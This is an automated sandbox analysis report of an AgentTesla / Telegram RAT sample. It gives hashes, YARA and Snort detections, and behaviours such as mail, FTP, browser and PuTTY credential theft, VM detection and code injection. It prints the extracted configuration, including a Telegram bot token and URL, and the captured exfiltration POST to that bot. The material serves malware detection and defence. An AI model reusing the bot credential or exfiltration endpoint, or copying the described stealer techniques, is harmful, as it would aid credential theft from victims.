Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
rzN2ckYW24.exe

Overview

General Information

Sample Name:rzN2ckYW24.exe
Analysis ID:736948
MD5:44159444c9bc9980871b80b3ae071ffb
SHA1:baf57ff497d2e202a1a119e8719e44c0aa100475
SHA256:9e4f0e0a10a778fb94e7631c17082b44bf75170d7ca81b393574fd3f4c004f47
Tags:AgentTeslaexe
Infos:

Detection

AgentTesla
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Telegram RAT
Yara detected AgentTesla
Yara detected AntiVM3
Snort IDS alert for network traffic
Tries to steal Mail credentials (via file / registry access)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses the Telegram API (likely for C&C communication)
Machine Learning detection for sample
May check the online IP address of the machine
.NET source code contains potential unpacker
Injects a PE file into a foreign processes
.NET source code contains very large array initializations
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Yara detected Credential Stealer
JA3 SSL client fingerprint seen in connection with other malware
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
Uses a known web browser user agent for HTTP communication
Binary contains a suspicious time stamp
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • rzN2ckYW24.exe (PID: 3044 cmdline: C:\Users\user\Desktop\rzN2ckYW24.exe MD5: 44159444C9BC9980871B80B3AE071FFB)
    • rzN2ckYW24.exe (PID: 6132 cmdline: C:\Users\user\Desktop\rzN2ckYW24.exe MD5: 44159444C9BC9980871B80B3AE071FFB)
    • rzN2ckYW24.exe (PID: 6128 cmdline: C:\Users\user\Desktop\rzN2ckYW24.exe MD5: 44159444C9BC9980871B80B3AE071FFB)
  • cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot5577155192:AAEz6ZTkghx2RsdTxeeE-sDulPHc5WQblVg/sendMessage"}

Threatname: Agenttesla

{"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot5577155192:AAEz6ZTkghx2RsdTxeeE-sDulPHc5WQblVg/"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000002.00000002.522788647.0000000002854000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
    00000002.00000002.522788647.0000000002854000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
      00000002.00000000.279572374.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
        00000002.00000000.279572374.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
          00000002.00000000.279572374.0000000000402000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_AgentTesla_d3ac2b2funknownunknown
          • 0x31d21:$a13: get_DnsResolver
          • 0x30402:$a20: get_LastAccessed
          • 0x3274f:$a27: set_InternalServerPort
          • 0x32a84:$a30: set_GuidMasterKey
          • 0x30514:$a33: get_Clipboard
          • 0x30522:$a34: get_Keyboard
          • 0x3191b:$a35: get_ShiftKeyDown
          • 0x3192c:$a36: get_AltKeyDown
          • 0x3052f:$a37: get_Password
          • 0x31062:$a38: get_PasswordHash
          • 0x32183:$a39: get_DefaultCredentials
          Click to see the 14 entries

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          0.2.rzN2ckYW24.exe.3dd31a8.13.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
            0.2.rzN2ckYW24.exe.3dd31a8.13.unpackJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
              0.2.rzN2ckYW24.exe.3dd31a8.13.unpackMALWARE_Win_AgentTeslaV3AgentTeslaV3 infostealer payloadditekSHen
              • 0x32c5f:$s10: logins
              • 0x326d9:$s11: credential
              • 0x2e914:$g1: get_Clipboard
              • 0x2e922:$g2: get_Keyboard
              • 0x2e92f:$g3: get_Password
              • 0x2fd0b:$g4: get_CtrlKeyDown
              • 0x2fd1b:$g5: get_ShiftKeyDown
              • 0x2fd2c:$g6: get_AltKeyDown
              0.2.rzN2ckYW24.exe.3dd31a8.13.unpackWindows_Trojan_AgentTesla_d3ac2b2funknownunknown
              • 0x30121:$a13: get_DnsResolver
              • 0x2e802:$a20: get_LastAccessed
              • 0x30b4f:$a27: set_InternalServerPort
              • 0x30e84:$a30: set_GuidMasterKey
              • 0x2e914:$a33: get_Clipboard
              • 0x2e922:$a34: get_Keyboard
              • 0x2fd1b:$a35: get_ShiftKeyDown
              • 0x2fd2c:$a36: get_AltKeyDown
              • 0x2e92f:$a37: get_Password
              • 0x2f462:$a38: get_PasswordHash
              • 0x30583:$a39: get_DefaultCredentials
              2.0.rzN2ckYW24.exe.400000.0.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
                Click to see the 28 entries

                Sigma Signatures

                ⊘No Sigma rule has matched

                Snort Signatures

                Timestamp:192.168.2.3149.154.167.220497034432851779 11/03/22-12:21:37.839026
                SID:2851779
                Source Port:49703
                Destination Port:443
                Protocol:TCP
                Classtype:A Network Trojan was detected

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Multi AV Scanner detection for submitted file
                Source: rzN2ckYW24.exeVirustotal: Detection: 30%Perma Link
                Source: rzN2ckYW24.exeReversingLabs: Detection: 31%
                Machine Learning detection for sample
                Source: rzN2ckYW24.exeJoe Sandbox ML: detected
                Source: 2.0.rzN2ckYW24.exe.400000.0.unpackAvira: Label: TR/Spy.Gen8
                Source: rzN2ckYW24.exe.6132.1.memstrminMalware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot5577155192:AAEz6ZTkghx2RsdTxeeE-sDulPHc5WQblVg/"}
                Source: rzN2ckYW24.exe.6128.2.memstrminMalware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot5577155192:AAEz6ZTkghx2RsdTxeeE-sDulPHc5WQblVg/sendMessage"}
                Source: rzN2ckYW24.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: unknownHTTPS traffic detected: 3.220.57.224:443 -> 192.168.2.3:49702 version: TLS 1.2
                Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.3:49703 version: TLS 1.2
                Source: rzN2ckYW24.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

                Networking

                barindex
                Snort IDS alert for network traffic
                Source: TrafficSnort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.3:49703 -> 149.154.167.220:443
                Uses the Telegram API (likely for C&C communication)
                Source: unknownDNS query: name: api.telegram.org
                May check the online IP address of the machine
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeDNS query: name: api.ipify.org
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeDNS query: name: api.ipify.org
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeDNS query: name: api.ipify.org
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeDNS query: name: api.ipify.org
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeDNS query: name: api.ipify.org
                Source: C:\Users\user\Desktop\rzN2ckYW24.exeDNS query: name: api.ipify.org
                Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
                Source: global trafficHTTP traffic detected: POST /bot5577155192:AAEz6ZTkghx2RsdTxeeE-sDulPHc5WQblVg/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dabd95f4b3e0e1Host: api.telegram.orgContent-Length: 1063Expect: 100-continueConnection: Keep-Alive
                Source: Joe Sandbox ViewIP Address: 149.154.167.220 149.154.167.220
                Source: Joe Sandbox ViewIP Address: 3.220.57.224 3.220.57.224
                Source: Joe Sandbox ViewIP Address: 3.220.57.224 3.220.57.224
                Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Host: api.ipify.orgConnection: Keep-Alive
                Source: unknownNetwork traffic detected: HTTP traffic on port 49702 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 49703 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49703
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49702
                Source: rzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://127.0.0.1:HTTP/1.1
                Source: rzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
                Source: rzN2ckYW24.exe, 00000002.00000002.525368476.0000000002ADC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://api.telegram.org
                Source: rzN2ckYW24.exe, 00000002.00000003.326404699.0000000000C17000.00000004.00000020.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000002.00000002.521468359.0000000000C26000.00000004.00000020.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000002.00000003.361780005.0000000000C2A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
                Source: rzN2ckYW24.exe, 00000000.00000003.257245989.0000000005C86000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://en.w
                Source: rzN2ckYW24.exe, 00000000.00000003.256683274.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.256591750.0000000005CA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://en.wikipedia
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fontfabrik.com
                Source: rzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                Source: rzN2ckYW24.exe, 00000002.00000002.525344688.0000000002AD6000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000002.00000002.525368476.0000000002ADC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://wmwpuO0P35oL9Q.com
                Source: rzN2ckYW24.exe, 00000000.00000003.260307774.0000000005C87000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.260356342.0000000005C87000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml
                Source: rzN2ckYW24.exe, 00000000.00000003.265445027.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.265034269.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.265360818.0000000005C8C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
                Source: rzN2ckYW24.exe, 00000000.00000003.265034269.0000000005C8D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.html
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
                Source: rzN2ckYW24.exe, 00000000.00000003.271274480.0000000005C88000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersS
                Source: rzN2ckYW24.exe, 00000000.00000003.265445027.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.264972803.0000000005C8C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comF
                Source: rzN2ckYW24.exe, 00000000.00000003.271274480.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000002.304989135.0000000005C80000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.272003113.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.271826229.0000000005C87000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.coma
                Source: rzN2ckYW24.exe, 00000000.00000003.266665020.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.265445027.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.265360818.0000000005C8C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comals
                Source: rzN2ckYW24.exe, 00000000.00000003.265034269.0000000005C8D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comcomF
                Source: rzN2ckYW24.exe, 00000000.00000003.265445027.0000000005C8E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comcomp
                Source: rzN2ckYW24.exe, 00000000.00000003.265445027.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.265360818.0000000005C8C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comd
                Source: rzN2ckYW24.exe, 00000000.00000003.265445027.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.265360818.0000000005C8C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comitum
                Source: rzN2ckYW24.exe, 00000000.00000003.271826229.0000000005C87000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comm
                Source: rzN2ckYW24.exe, 00000000.00000003.271274480.0000000005C88000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000002.304989135.0000000005C80000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.272003113.0000000005C8C000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.271826229.0000000005C87000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.commTTF
                Source: rzN2ckYW24.exe, 00000000.00000003.265360818.0000000005C8C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comp
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.com
                Source: rzN2ckYW24.exe, 00000000.00000003.259617773.0000000005C87000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cB
                Source: rzN2ckYW24.exe, 00000000.00000003.259617773.0000000005C87000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.259464865.0000000005C87000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.259543069.0000000005C88000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
                Source: rzN2ckYW24.exe, 00000000.00000003.259617773.0000000005C87000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cns-ea
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
                Source: rzN2ckYW24.exe, 00000000.00000002.304989135.0000000005C80000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htmp
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.kr
                Source: rzN2ckYW24.exe, 00000000.00000003.261577709.0000000005C8B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
                Source: rzN2ckYW24.exe, 00000000.00000003.262479660.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.262420491.0000000005C8D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp//ra
                Source: rzN2ckYW24.exe, 00000000.00000003.262479660.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.262420491.0000000005C8D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/Y0
                Source: rzN2ckYW24.exe, 00000000.00000003.261577709.0000000005C8B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/a-d
                Source: rzN2ckYW24.exe, 00000000.00000003.262479660.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.262420491.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261577709.0000000005C8B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/b
                Source: rzN2ckYW24.exe, 00000000.00000003.261577709.0000000005C8B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/dz
                Source: rzN2ckYW24.exe, 00000000.00000003.262479660.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.262420491.0000000005C8D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
                Source: rzN2ckYW24.exe, 00000000.00000003.261392765.0000000005C9B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.com
                Source: rzN2ckYW24.exe, 00000000.00000003.258445715.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257102086.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.259940209.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.259819475.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.259520848.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257053691.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.258806192.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261728305.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.260344832.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257296101.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.260291295.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261561559.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.258343538.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.260210658.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261692319.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257200608.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.258935636.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261197728.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257254857.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.258324367.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261444840.0000000005C9B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.coma
                Source: rzN2ckYW24.exe, 00000000.00000003.258445715.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257102086.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.259940209.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.259819475.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.259520848.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257053691.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.258806192.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261728305.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.260344832.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257296101.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.260291295.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261561559.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.258343538.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.260210658.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261692319.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257200608.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.258935636.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261197728.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.257254857.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.258324367.0000000005C9B000.00000004.00000800.00020000.00000000.sdmp, rzN2ckYW24.exe, 00000000.00000003.261444840.0000000005C9B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.comiv
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com
                Source: rzN2ckYW24.exe, 00000000.00000003.262413128.0000000005CB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.comrm
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.kr
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.tiro.com
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.typography.netD
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.urwpp.deDPlease
                Source: rzN2ckYW24.exe, 00000000.00000002.305428250.0000000006E92000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
                Source: rzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.ipify.org
                Source: rzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.ipify.org/
                Source: rzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.ipify.orgappdatajVuurjVuur.exe/http://TMVuQQ.com
                Source: rzN2ckYW24.exe, 00000002.00000002.525368476.0000000002ADC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org
                Source: rzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot5577155192:AAEz6ZTkghx2RsdTxeeE-sDulPHc5WQblVg/
                Source: rzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot5577155192:AAEz6ZTkghx2RsdTxeeE-sDulPHc5WQblVg/5596534279%discordapi%yyy
                Source: rzN2ckYW24.exe, 00000002.00000002.525368476.0000000002ADC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot5577155192:AAEz6ZTkghx2RsdTxeeE-sDulPHc5WQblVg/sendDocument
                Source: rzN2ckYW24.exe, 00000002.00000002.525368476.0000000002ADC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org4Tkh
                Source: rzN2ckYW24.exe, 00000002.00000002.522385247.0000000002801000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www
                Source: unknownHTTP traffic detected: POST /bot5577155192:AAEz6ZTkghx2RsdTxeeE-sDulPHc5WQblVg/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dabd95f4b3e0e1Host: api.telegram.orgContent-Length: 1063Expect: 100-continueConnection: Keep-Alive
                Source: unknownDNS traffic detected: queries for: api.ipify.org
                Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Host: api.ipify.orgConnection: Keep-Alive
                Source: unknownHTTPS traffic detected: 3.220.57.224:443 -> 192.168.2.3:49702 version: TLS 1.2
                Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.3:49703 version: TLS 1.2

                System Summary

                barindex
                Malicious sample detected (through community Yara rule)
                Source: 0.2.rzN2ckYW24.exe.3dd31a8.13.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 0.2.rzN2ckYW24.exe.3dd31a8.13.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
                Source: 2.0.rzN2ckYW24.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
                Source: 2.0.rzN2ckYW24.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
